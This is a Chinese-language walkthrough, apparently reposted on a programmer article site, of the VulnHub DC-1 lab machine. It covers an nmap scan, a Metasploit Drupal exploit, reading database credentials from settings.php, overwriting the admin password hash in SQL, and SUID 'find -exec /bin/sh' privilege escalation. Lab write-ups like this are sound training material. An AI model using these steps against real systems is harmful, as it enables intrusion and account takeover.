欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

WP

程序员文章站 2022-05-15 14:14:26
...

vulnhub靶机渗透之DC-1


攻击环境

攻击机:10.0.10.125(kali)

靶机:10.0.10.166(vmbox)

信息收集

使用netdiscover探测出们的靶机,前提是kali要和靶机同一网段

WP

使用nmap对靶机进行扫描

aaa@qq.com:~# nmap -sS 10.0.10.166
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-11 13:18 CST
Nmap scan report for 10.0.10.166
Host is up (0.00015s latency).
Not shown: 997 closed ports
PORTSTATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds

开放了一个ssh的22端口,还有一个web80端口,还有一个111;我们先访问一下80端口,这是一个搭建服务器的界面,登陆注册的;简单查看页面上的内容,可以看到Powered by Drupal,Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

WP

拿shell

既然知道网站框架是Drupal,那第一想法就是能不能用exp去攻击拿到shell;上msf

search Drupal 搜索关于Drupal模块的exp

WP

随机挑选一个模块,设置好攻击于被攻击的ip和端口即可

set rhost ip      --设置攻击目标ip

set rpost 端口号  --设置攻击目标端口

执行攻击,拿下shell

WP

ls遍历后发现flag1.txt文件,cat之后看到里面有一段话,并不是我们的flag

Every good CMS needs a config file - and so do you.

翻译:每一个好的CMS都需要一个配置文件,你也一样;意思说要我们去找配置文件。Drupal的配置文件默认存放在 /var/www/sites/default/settings.php cat之后发现flag2和数据库账号密码

WP

usename:dbuser

passwd:R0ck3t

如果有同学是打不开数据库的那应该是没有用python反弹一个交互式shell,下面丢出命令:

python -c"import pty;pty.spawn('/bin/bash')"

这样就可以操作数据库了,执行数据库命令的时候在结尾必须加上;

先看看这个数据库有什么表 show databases;

WP

就只有两个表,那还是直接搜索user字段吧:select * from user;

直接发现admin用户

WP

接下来我们就把admin用户的密码改了,以方便我们登陆,命令直接在数据库中接着执行:

update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where uid=1;

单引号中的字符串是由password经过sha-512加密得来的

WP

提权

现在去网站页面登陆,用admin用户和我们刚修改好的密码,成功登陆后寻找发现flag3,是一段提示,提示我们通过suid提权,suid的提权的常见命令:nmap vim find bash more less nano cp,八个;在这里我们通过find命令提取。

WP

测试find命令是否能提权

find / -type f -perm -u=s 2>/dev/null

WP

/use/bin/find,通过这个我们可以知道find被设置为了suid权限位,现在我们通过touch新建一个文件,然后通过find…exec"…"查找文件并且执行命令拿到root权限。

cd /var/www --进入/var/www文件夹

touch 文件名 --新建一个文件

find / -name 文件名 -exec "whoami" \;

find / -name 文件名 -exec "/bin/sh" \;

成功提权!!

最终flag

一把抓出flag

WP

总结

1:第一个难点就是操作数据库,会操作表等关于数据库的操作

2:我觉得是这个靶机的一个知识点,那就是通过find命令提权

3:SHA-512加解密的使用

4:靶机难度比较简单,但是需要细心和耐心,拿shell和提权均比较容易

是操作数据库,会操作表等关于数据库的操作

2:我觉得是这个靶机的一个知识点,那就是通过find命令提权

3:SHA-512加解密的使用

4:靶机难度比较简单,但是需要细心和耐心,拿shell和提权均比较容易